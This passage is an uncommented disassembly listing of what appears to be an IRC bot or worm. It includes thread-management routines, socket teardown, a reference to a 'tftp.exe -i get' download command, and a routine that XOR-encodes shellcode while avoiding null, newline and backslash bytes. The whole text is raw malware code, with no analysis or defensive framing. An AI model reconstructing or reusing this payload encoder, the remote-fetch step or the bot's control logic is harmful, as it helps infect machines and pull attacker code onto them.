pop ecx
loc_40932D: ; CODE XREF: sub_4092B9+4Dj
lea eax, [ebp+var_1C]
push eax
call sub_414EC0
pop ecx
cmp eax, 2
pop esi
jbe short loc_40935C
push 1Ch
lea eax, [ebp+var_1C]
push [ebp+arg_0]
push eax
call sub_419200
lea eax, [ebp+var_1C]
push 1Ch
push eax
push [ebp+arg_0]
call sub_417760
add esp, 18h
loc_40935C: ; CODE XREF: sub_4092B9+82j
mov eax, [ebp+arg_0]
leave
retn
sub_4092B9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409361 proc near ; CODE XREF: sub_4019A5+7Fp
; sub_401B0B+50p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
xor esi, esi
loc_40936A: ; CODE XREF: sub_409361+40j
cmp [ebp+arg_C], 0
jz short loc_409388
lea eax, dword_43B180[esi]
push eax
push [ebp+arg_C]
call sub_418A30
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_409396
; ---------------------------------------------------------------------------
loc_409388: ; CODE XREF: sub_409361+Dj
mov ecx, dword_43B18C[esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_409396: ; CODE XREF: sub_409361+25j
test eax, eax
jnz short loc_4093A5
add esi, 14h
inc edi
cmp esi, 78h
jb short loc_40936A
jmp short loc_4093B3
; ---------------------------------------------------------------------------
loc_4093A5: ; CODE XREF: sub_409361+37j
push [ebp+arg_0]
lea eax, [edi+edi*4]
call off_43B190[eax*4]
pop ecx
loc_4093B3: ; CODE XREF: sub_409361+42j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_4093C6
push [ebp+arg_0]
call sub_4092B9
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4093C6: ; CODE XREF: sub_409361+58j
mov eax, [ebp+arg_0]
pop ebp
retn
sub_409361 endp
; =============== S U B R O U T I N E =======================================
sub_4093CB proc near ; CODE XREF: sub_4093EB+Ap
; sub_4094C3+8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_414EC0
push [esp+8+arg_4]
mov esi, eax
call sub_414EC0
pop ecx
lea eax, [esi+eax*2+0C1h]
pop ecx
pop esi
retn
sub_4093CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4093EB proc near ; CODE XREF: sub_4094DA+49p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_C]
push [ebp+arg_8]
call sub_4093CB
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
mov [ebp+var_4], eax
jbe short loc_409408
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_409408: ; CODE XREF: sub_4093EB+17j
push ebx
push esi
push edi
push [ebp+arg_8]
call sub_414EC0
push [ebp+arg_C]
mov esi, eax
call sub_414EC0
mov edi, eax
mov ebx, [ebp+arg_0]
push 0FFFFFFEDh
lea eax, [edi+esi+12h]
mov dword_43EF84, eax
lea eax, [edi+1]
mov dword_43EFA5, eax
lea eax, [edi+17h]
mov dword_43EF9D, eax
pop eax
push 74h
sub eax, edi
push offset dword_43EF20
push ebx
mov dword_43EFB3, eax
call sub_419330
push esi
lea eax, [ebx+74h]
push [ebp+arg_8]
push eax
call sub_419330
add esi, 74h
push 5
push (offset aTftp_exeIGet+0Ch)
lea eax, [esi+ebx]
push eax
call sub_419330
add esi, 5
push edi
push [ebp+arg_C]
lea eax, [esi+ebx]
push eax
call sub_419330
add esi, edi
push 10h
push (offset aTftp_exeIGet+11h)
lea eax, [esi+ebx]
push eax
call sub_419330
add esp, 44h
add esi, 10h
push edi
lea eax, [esi+ebx]
push [ebp+arg_C]
push eax
call sub_419330
add esi, edi
push 38h
add esi, ebx
push offset byte_43EFA9
push esi
call sub_419330
mov eax, [ebp+var_4]
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_4093EB endp
; =============== S U B R O U T I N E =======================================
sub_4094C3 proc near ; CODE XREF: sub_4094DA+Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_4093CB
push eax
call sub_409547
add esp, 0Ch
retn
sub_4094C3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4094DA proc near ; CODE XREF: sub_40C16C+94p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_8]
push edi
mov edi, [ebp+arg_C]
push edi
push ebx
call sub_4094C3
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
ja short loc_4094FA
cmp eax, 0FFFFh
jbe short loc_4094FE
loc_4094FA: ; CODE XREF: sub_4094DA+17j
xor eax, eax
jmp short loc_409543
; ---------------------------------------------------------------------------
loc_4094FE: ; CODE XREF: sub_4094DA+1Ej
push esi
push edi
push ebx
call sub_4093CB
add eax, 101h
push eax
call sub_415090
add esp, 0Ch
mov esi, eax
push edi
push ebx
push edi
push ebx
call sub_4093CB
pop ecx
pop ecx
push eax
push esi
call sub_4093EB
push eax
push esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409562
push esi
mov edi, eax
call sub_415C20
add esp, 24h
mov eax, edi
pop esi
loc_409543: ; CODE XREF: sub_4094DA+22j
pop edi
pop ebx
pop ebp
retn
sub_4094DA endp
; =============== S U B R O U T I N E =======================================
sub_409547 proc near ; CODE XREF: sub_4094C3+Ep
; sub_409562+47p
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test cl, cl
jnz short loc_409550
inc ecx
loc_409550: ; CODE XREF: sub_409547+6j
mov eax, 0FFh
cmp eax, ecx
sbb eax, eax
and eax, 2
add eax, 15h
add eax, ecx
retn
sub_409547 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409562 proc near ; CODE XREF: sub_4094DA+56p
; sub_40C16C+B9p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_C]
cmp dl, 0Ah
jz short loc_40957C
cmp dl, 0Dh
jz short loc_40957C
cmp dl, 5Ch
jz short loc_40957C
test dl, dl
jnz short loc_409580
loc_40957C: ; CODE XREF: sub_409562+Aj
; sub_409562+Fj ...
inc edx
mov [ebp+arg_C], edx
loc_409580: ; CODE XREF: sub_409562+18j
push esi
mov esi, 0FFh
cmp edx, esi
jbe short loc_4095A8
mov eax, edx
shr eax, 8
cmp al, 0Ah
jz short loc_40959F
cmp al, 0Dh
jz short loc_40959F
cmp al, 5Ch
jz short loc_40959F
test al, al
jnz short loc_4095A8
loc_40959F: ; CODE XREF: sub_409562+2Fj
; sub_409562+33j ...
add edx, 100h
mov [ebp+arg_C], edx
loc_4095A8: ; CODE XREF: sub_409562+26j
; sub_409562+3Bj
push edx
call sub_409547
cmp eax, [ebp+arg_4]
pop ecx
mov [ebp+var_4], eax
ja short loc_4095BE
cmp eax, 0FFFFh
jbe short loc_4095C5
loc_4095BE: ; CODE XREF: sub_409562+53j
xor eax, eax
jmp loc_409660
; ---------------------------------------------------------------------------
loc_4095C5: ; CODE XREF: sub_409562+5Aj
push ebx
mov bl, byte_4D67B4
xor ecx, ecx
push edi
mov edi, [ebp+arg_8]
test edx, edx
jbe short loc_4095F2
loc_4095D6: ; CODE XREF: sub_409562+8Ej
mov al, [ecx+edi]
xor al, bl
jz short loc_4095E9
cmp al, 0Ah
jz short loc_4095E9
cmp al, 0Dh
jz short loc_4095E9
cmp al, 5Ch
jnz short loc_4095ED
loc_4095E9: ; CODE XREF: sub_409562+79j
; sub_409562+7Dj ...
inc bl
xor ecx, ecx
loc_4095ED: ; CODE XREF: sub_409562+85j
inc ecx
cmp ecx, edx
jb short loc_4095D6
loc_4095F2: ; CODE XREF: sub_409562+72j
cmp edx, esi
mov byte_4D67B4, bl
ja short loc_40961E
push 15h
push offset loc_43EF08
push [ebp+arg_0]
mov byte_43EF15, dl
mov byte_43EF19, bl
call sub_419330
add esp, 0Ch
push 15h
jmp short loc_40963F
; ---------------------------------------------------------------------------
loc_40961E: ; CODE XREF: sub_409562+98j
push 17h
push offset loc_43EEF0
push [ebp+arg_0]
mov word_43EEFE, dx
mov byte_43EF03, bl
call sub_419330
add esp, 0Ch
push 17h
loc_40963F: ; CODE XREF: sub_409562+BAj
xor eax, eax
pop ecx
cmp [ebp+arg_C], eax
jbe short loc_40965B
mov edx, [ebp+arg_0]
lea esi, [ecx+edx]
loc_40964D: ; CODE XREF: sub_409562+F7j
mov cl, [eax+edi]
xor cl, bl
mov [esi+eax], cl
inc eax
cmp eax, [ebp+arg_C]
jb short loc_40964D
loc_40965B: ; CODE XREF: sub_409562+E3j
mov eax, [ebp+var_4]
pop edi
pop ebx
loc_409660: ; CODE XREF: sub_409562+5Ej
pop esi
leave
retn
sub_409562 endp
; =============== S U B R O U T I N E =======================================
sub_409663 proc near ; CODE XREF: sub_401404+366p
; sub_401404+3A2p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_4493A0
loc_40966B: ; CODE XREF: sub_409663+18j
cmp byte ptr [eax], 0
jz short loc_40967F
add eax, 234h
inc edi
cmp eax, offset dword_4D63A0
jl short loc_40966B
jmp short loc_4096CA
; ---------------------------------------------------------------------------
loc_40967F: ; CODE XREF: sub_409663+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh
push [esp+0Ch+arg_0]
lea eax, dword_4493A0[esi]
push eax
call sub_417760
mov eax, [esp+14h+arg_4]
and dword_4495A4[esi], 0
and dword_4495A8[esi], 0
mov dword_4495A0[esi], eax
mov eax, [esp+14h+arg_8]
add esp, 0Ch
and byte_4495B8[esi], 0
mov dword_4495AC[esi], eax
pop esi
loc_4096CA: ; CODE XREF: sub_409663+1Aj
mov eax, edi
pop edi
retn
sub_409663 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4096CE proc near ; DATA XREF: sub_401C87+2452o
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
push [ebp+var_10]
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_409720
push [ebp+var_14]
call sub_409979
add esp, 14h
push 0
call dword_4E03A0 ; ExitThread
pop edi
pop esi
sub_4096CE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409720 proc near ; CODE XREF: sub_4096CE+38p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_43EFE4
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40764A
add esp, 14h
xor edi, edi
mov esi, offset dword_4493A0
loc_40974A: ; CODE XREF: sub_409720+78j
cmp byte ptr [esi], 0
jz short loc_40978B
cmp [ebp+arg_C], 0
jnz short loc_40975E
cmp dword ptr [esi+204h], 0
jnz short loc_40978B
loc_40975E: ; CODE XREF: sub_409720+33j
push esi
push edi
lea eax, [ebp+var_200]
push offset dword_43EFF8
push eax
call sub_417CB0
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40764A
add esp, 24h
loc_40978B: ; CODE XREF: sub_409720+2Dj
; sub_409720+3Cj
add esi, 234h
inc edi
cmp esi, offset dword_4D63A0
jl short loc_40974A
pop edi
pop esi
leave
retn
sub_409720 endp
; =============== S U B R O U T I N E =======================================
sub_40979E proc near ; CODE XREF: sub_401C87+3A86p
; sub_409826+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_409820
cmp esi, 400h
jge short loc_409820
imul esi, 234h
push edi
push ebx
lea edi, dword_4495B4[esi]
push dword ptr [edi]
call dword_4E0378 ; TerminateThread
cmp [edi], ebx
jz short loc_4097D0
inc ebp
loc_4097D0: ; CODE XREF: sub_40979E+2Fj
mov [edi], ebx
lea edi, dword_4495A8[esi]
mov dword_4495A0[esi], ebx
mov dword_4495A4[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_4097F1
push eax
call sub_413B11
pop ecx
loc_4097F1: ; CODE XREF: sub_40979E+4Aj
mov [edi], ebx
lea edi, dword_4495AC[esi]
mov byte ptr dword_4493A0[esi], bl
mov byte_4495B8[esi], bl
push dword ptr [edi]
call dword_4D6700 ; closesocket
lea esi, dword_4495B0[esi]
mov [edi], ebx
push dword ptr [esi]
call dword_4D6700 ; closesocket
mov [esi], ebx
pop edi
loc_409820: ; CODE XREF: sub_40979E+Dj
; sub_40979E+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_40979E endp
; =============== S U B R O U T I N E =======================================
sub_409826 proc near ; CODE XREF: sub_401300+18p
; sub_401404:loc_401991p ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_4493A0
loc_409832: ; CODE XREF: sub_409826+2Aj
cmp byte ptr [esi], 0
jz short loc_409843
push edi
call sub_40979E
test eax, eax
pop ecx
jz short loc_409843
inc ebx
loc_409843: ; CODE XREF: sub_409826+Fj
; sub_409826+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_4D63A0
jl short loc_409832
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_409826 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409858 proc near ; CODE XREF: sub_401C87+2D9Cp
; sub_4098EB+1Dp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_4495A4
loc_40986C: ; CODE XREF: sub_409858+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_40988E
test edi, edi
jle short loc_409880
cmp [esi], edi
jz short loc_409880
cmp ebx, edi
jnz short loc_40988E
loc_409880: ; CODE XREF: sub_409858+1Ej
; sub_409858+22j
push ebx
call sub_40979E
test eax, eax
pop ecx
jz short loc_40988E
inc [ebp+var_4]
loc_40988E: ; CODE XREF: sub_409858+1Aj
; sub_409858+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_4D65A4
jl short loc_40986C
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_409858 endp
; =============== S U B R O U T I N E =======================================
sub_4098A5 proc near ; CODE XREF: sub_401404+3FAp
; sub_401C87+949p ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_4495A0
loc_4098AC: ; CODE XREF: sub_4098A5+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_4098B5
inc eax
loc_4098B5: ; CODE XREF: sub_4098A5+Dj
add ecx, 234h
cmp ecx, offset dword_4D65A0
jl short loc_4098AC
retn
sub_4098A5 endp
; =============== S U B R O U T I N E =======================================
sub_4098C4 proc near ; CODE XREF: sub_401C87+1EEAp
arg_0 = dword ptr 4
xor eax, eax
xor edx, edx
mov ecx, offset dword_4495A0
push esi
loc_4098CE: ; CODE XREF: sub_4098C4+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_4098E7
add ecx, 234h
inc edx
cmp ecx, offset dword_4D65A0
jl short loc_4098CE
pop esi
retn
; ---------------------------------------------------------------------------
loc_4098E7: ; CODE XREF: sub_4098C4+10j
mov eax, edx
pop esi
retn
sub_4098C4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4098EB proc near ; CODE XREF: sub_401C87+FE6p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+arg_1C], eax
jz short loc_409904
push [ebp+arg_1C]
call sub_417960
pop ecx
loc_409904: ; CODE XREF: sub_4098EB+Ej
push eax
push [ebp+arg_18]
call sub_409858
pop ecx
test eax, eax
pop ecx
jle short loc_409930
push eax
lea eax, [ebp+var_200]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)"
push eax
call sub_417CB0
add esp, 14h
jmp short loc_40994A
; ---------------------------------------------------------------------------
loc_409930: ; CODE XREF: sub_4098EB+26j
push [ebp+arg_14]
lea eax, [ebp+var_200]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s No %s thread found."
push eax
call sub_417CB0
add esp, 10h
loc_40994A: ; CODE XREF: sub_4098EB+43j
cmp [ebp+arg_C], 0
jnz short loc_40996A
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40764A
add esp, 14h
loc_40996A: ; CODE XREF: sub_4098EB+63j
lea eax, [ebp+var_200]
push eax
call sub_40F927
pop ecx
leave
retn
sub_4098EB endp
; =============== S U B R O U T I N E =======================================
sub_409979 proc near ; CODE XREF: sub_4019A5+154p
; sub_4096CE+40p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov dword_4495B4[eax], ecx
mov dword_4495A0[eax], ecx
mov dword_4495A4[eax], ecx
mov dword_4495A8[eax], ecx
mov dword_4495AC[eax], ecx
mov dword_4495B0[eax], ecx
mov byte ptr dword_4493A0[eax], cl
mov byte_4495B8[eax], cl
retn
sub_409979 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4099B6 proc near ; CODE XREF: sub_401C87+5872p
; sub_409ADE+61p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor eax, eax
push esi
mov esi, [ebp+arg_0]
inc eax
jmp short loc_409A18
; ---------------------------------------------------------------------------
loc_4099C2: ; CODE XREF: sub_4099B6+66j
cmp eax, 1
jnz short loc_409A29
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_409A29
cmp cl, 2Ah
jz short loc_409A01
cmp cl, 3Fh
jz short loc_4099E6
cmp cl, 5Bh
jz short loc_4099EB
xor eax, eax
cmp cl, dl
setz al
loc_4099E6: ; CODE XREF: sub_4099B6+22j
inc [ebp+arg_4]
jmp short loc_409A14
; ---------------------------------------------------------------------------
loc_4099EB: ; CODE XREF: sub_4099B6+27j
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_409A4A
mov esi, [ebp+arg_0]
jmp short loc_409A12
; ---------------------------------------------------------------------------
loc_409A01: ; CODE XREF: sub_4099B6+1Dj
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_409ADE
mov esi, [ebp+arg_0]
dec esi
loc_409A12: ; CODE XREF: sub_4099B6+49j
pop ecx
pop ecx
loc_409A14: ; CODE XREF: sub_4099B6+33j
inc esi
mov [ebp+arg_0], esi
loc_409A18: ; CODE XREF: sub_4099B6+Aj
mov cl, [esi]
test cl, cl
jnz short loc_4099C2
jmp short loc_409A29
; ---------------------------------------------------------------------------
loc_409A20: ; CODE XREF: sub_4099B6+76j
cmp eax, 1
jnz short loc_409A45
inc esi
mov [ebp+arg_0], esi
loc_409A29: ; CODE XREF: sub_4099B6+Fj
; sub_4099B6+18j ...
cmp byte ptr [esi], 2Ah
jz short loc_409A20
cmp eax, 1
jnz short loc_409A45
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_409A45
cmp byte ptr [esi], 0
jnz short loc_409A45
xor eax, eax
inc eax
jmp short loc_409A47
; ---------------------------------------------------------------------------
loc_409A45: ; CODE XREF: sub_4099B6+6Dj
; sub_4099B6+7Bj ...
xor eax, eax
loc_409A47: ; CODE XREF: sub_4099B6+8Dj
pop esi
pop ebp
retn
sub_4099B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409A4A proc near ; CODE XREF: sub_4099B6+41p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
xor eax, eax
mov ecx, [edx]
and [ebp+var_8], edi
inc eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_409A6B
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_409A6B: ; CODE XREF: sub_409A4A+19j
push ebx
push esi
loc_409A6D: ; CODE XREF: sub_409A4A+77j
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_409A7B
cmp [ebp+var_4], eax
jnz short loc_409AC3
loc_409A7B: ; CODE XREF: sub_409A4A+2Aj
test edi, edi
jnz short loc_409AB8
cmp bl, 2Dh
jnz short loc_409AAC
lea esi, [ecx+1]
mov cl, [ecx-1]
mov al, [esi]
cmp cl, al
jge short loc_409AAC
cmp al, 5Dh
jz short loc_409AAC
cmp [ebp+var_4], edi
jnz short loc_409AAC
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_409AB8
cmp bl, al
jg short loc_409AB8
mov [edx], esi
jmp short loc_409AB5
; ---------------------------------------------------------------------------
loc_409AAC: ; CODE XREF: sub_409A4A+38j
; sub_409A4A+44j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_409AB8
loc_409AB5: ; CODE XREF: sub_409A4A+60j
xor edi, edi
inc edi
loc_409AB8: ; CODE XREF: sub_409A4A+33j
; sub_409A4A+58j ...
inc dword ptr [edx]
and [ebp+var_4], 0
xor eax, eax
inc eax
jmp short loc_409A6D
; ---------------------------------------------------------------------------
loc_409AC3: ; CODE XREF: sub_409A4A+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_409AD0
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_409AD0: ; CODE XREF: sub_409A4A+7Ej
cmp edi, eax
jnz short loc_409AD9
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_409AD9: ; CODE XREF: sub_409A4A+88j
mov eax, edi
pop edi
leave
retn
sub_409A4A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409ADE proc near ; CODE XREF: sub_4099B6+53p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
xor ebx, ebx
jmp short loc_409B0E
; ---------------------------------------------------------------------------
loc_409AF8: ; CODE XREF: sub_409ADE+36j
mov dl, [eax]
cmp dl, 3Fh
jz short loc_409B09
cmp dl, 2Ah
jnz short loc_409B1B
cmp dl, 3Fh
jnz short loc_409B0C
loc_409B09: ; CODE XREF: sub_409ADE+1Fj
inc ecx
mov [edi], ecx
loc_409B0C: ; CODE XREF: sub_409ADE+29j
inc dword ptr [esi]
loc_409B0E: ; CODE XREF: sub_409ADE+18j
mov ecx, [edi]
mov eax, [esi]
cmp [ecx], bl
jnz short loc_409AF8
jmp short loc_409B1B
; ---------------------------------------------------------------------------
loc_409B18: ; CODE XREF: sub_409ADE+40j
inc eax
mov [esi], eax
loc_409B1B: ; CODE XREF: sub_409ADE+24j
; sub_409ADE+38j
cmp byte ptr [eax], 2Ah
jz short loc_409B18
mov ecx, [edi]
mov dl, [ecx]
cmp dl, bl
jnz short loc_409B3D
cmp [eax], bl
jz short loc_409B30
xor eax, eax
jmp short loc_409B9A
; ---------------------------------------------------------------------------
loc_409B30: ; CODE XREF: sub_409ADE+4Cj
cmp dl, bl
jnz short loc_409B3D
cmp [eax], bl
jnz short loc_409B3D
xor eax, eax
inc eax
jmp short loc_409B9A
; ---------------------------------------------------------------------------
loc_409B3D: ; CODE XREF: sub_409ADE+48j
; sub_409ADE+54j ...
push ecx
push eax
call sub_4099B6
pop ecx
test eax, eax
pop ecx
jnz short loc_409B84
loc_409B4A: ; CODE XREF: sub_409ADE+A4j
inc dword ptr [edi]
mov eax, [edi]
jmp short loc_409B5C
; ---------------------------------------------------------------------------
loc_409B50: ; CODE XREF: sub_409ADE+86j
cmp cl, 5Bh
jz short loc_409B66
cmp dl, bl
jz short loc_409B66
inc eax
mov [edi], eax
loc_409B5C: ; CODE XREF: sub_409ADE+70j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jnz short loc_409B50
loc_409B66: ; CODE XREF: sub_409ADE+75j
; sub_409ADE+79j
cmp [eax], bl
jz short loc_409B7B
push eax
push dword ptr [esi]
call sub_4099B6
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_409B80
; ---------------------------------------------------------------------------
loc_409B7B: ; CODE XREF: sub_409ADE+8Aj
mov [ebp+var_4], ebx
xor eax, eax
loc_409B80: ; CODE XREF: sub_409ADE+9Bj
cmp eax, ebx
jnz short loc_409B4A
loc_409B84: ; CODE XREF: sub_409ADE+6Aj
mov eax, [edi]
cmp [eax], bl
jnz short loc_409B97
mov eax, [esi]
cmp [eax], bl
jnz short loc_409B97
mov [ebp+var_4], 1
loc_409B97: ; CODE XREF: sub_409ADE+AAj
; sub_409ADE+B0j
mov eax, [ebp+var_4]
loc_409B9A: ; CODE XREF: sub_409ADE+50j
; sub_409ADE+5Dj
pop edi
pop esi
pop ebx
leave
retn
sub_409ADE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409B9F proc near ; CODE XREF: sub_401C87+25DFp
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+var_200]
push offset unk_43F370
push eax
xor ebx, ebx
call sub_417CB0
cmp dword_43F068, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_409C11
push esi
mov esi, offset dword_43F070
loc_409BD2: ; CODE XREF: sub_409B9F+6Fj
mov eax, [esi]
test eax, eax
jbe short loc_409C07
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+var_400]
push offset dword_43F390
push eax
call sub_417CB0
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_419200
add esp, 1Ch
loc_409C07: ; CODE XREF: sub_409B9F+37j
add esi, 40h
cmp dword ptr [esi-8], 0
jnz short loc_409BD2
pop esi
loc_409C11: ; CODE XREF: sub_409B9F+2Bj
push dword_4D63A4
call sub_414606
push eax
push ebx
lea eax, [ebp+var_400]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax
call sub_417CB0
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_419200
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40764A
lea eax, [ebp+var_200]
push eax
call sub_40F927
add esp, 38h
pop edi
pop ebx
leave
retn
sub_409B9F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409C6D proc near ; CODE XREF: sub_401C87+25CCp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
mov eax, dword_4D9174
mov ecx, dword_4D9170
push esi
push dword_4D63A4
lea esi, [ecx+eax]
call sub_414606
push eax
push esi
push dword_4D9174
lea eax, [ebp+var_200]
push dword_4D9170
push offset unk_43F3B0
push eax
call sub_417CB0
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40764A
lea eax, [ebp+var_200]
push eax
call sub_40F927
add esp, 34h
pop esi
leave
retn
sub_409C6D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409CD8 proc near ; CODE XREF: sub_401C87+25B9p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push dword_4D63A4
call sub_414606
push eax
lea eax, [ebp+var_200]
push dword_4D93A0
push offset unk_43F3F8
push eax
call sub_417CB0
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40764A
lea eax, [ebp+var_200]
push eax
call sub_40F927
add esp, 2Ch
leave
retn
sub_409CD8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409D2C proc near ; CODE XREF: sub_401C87+25A6p
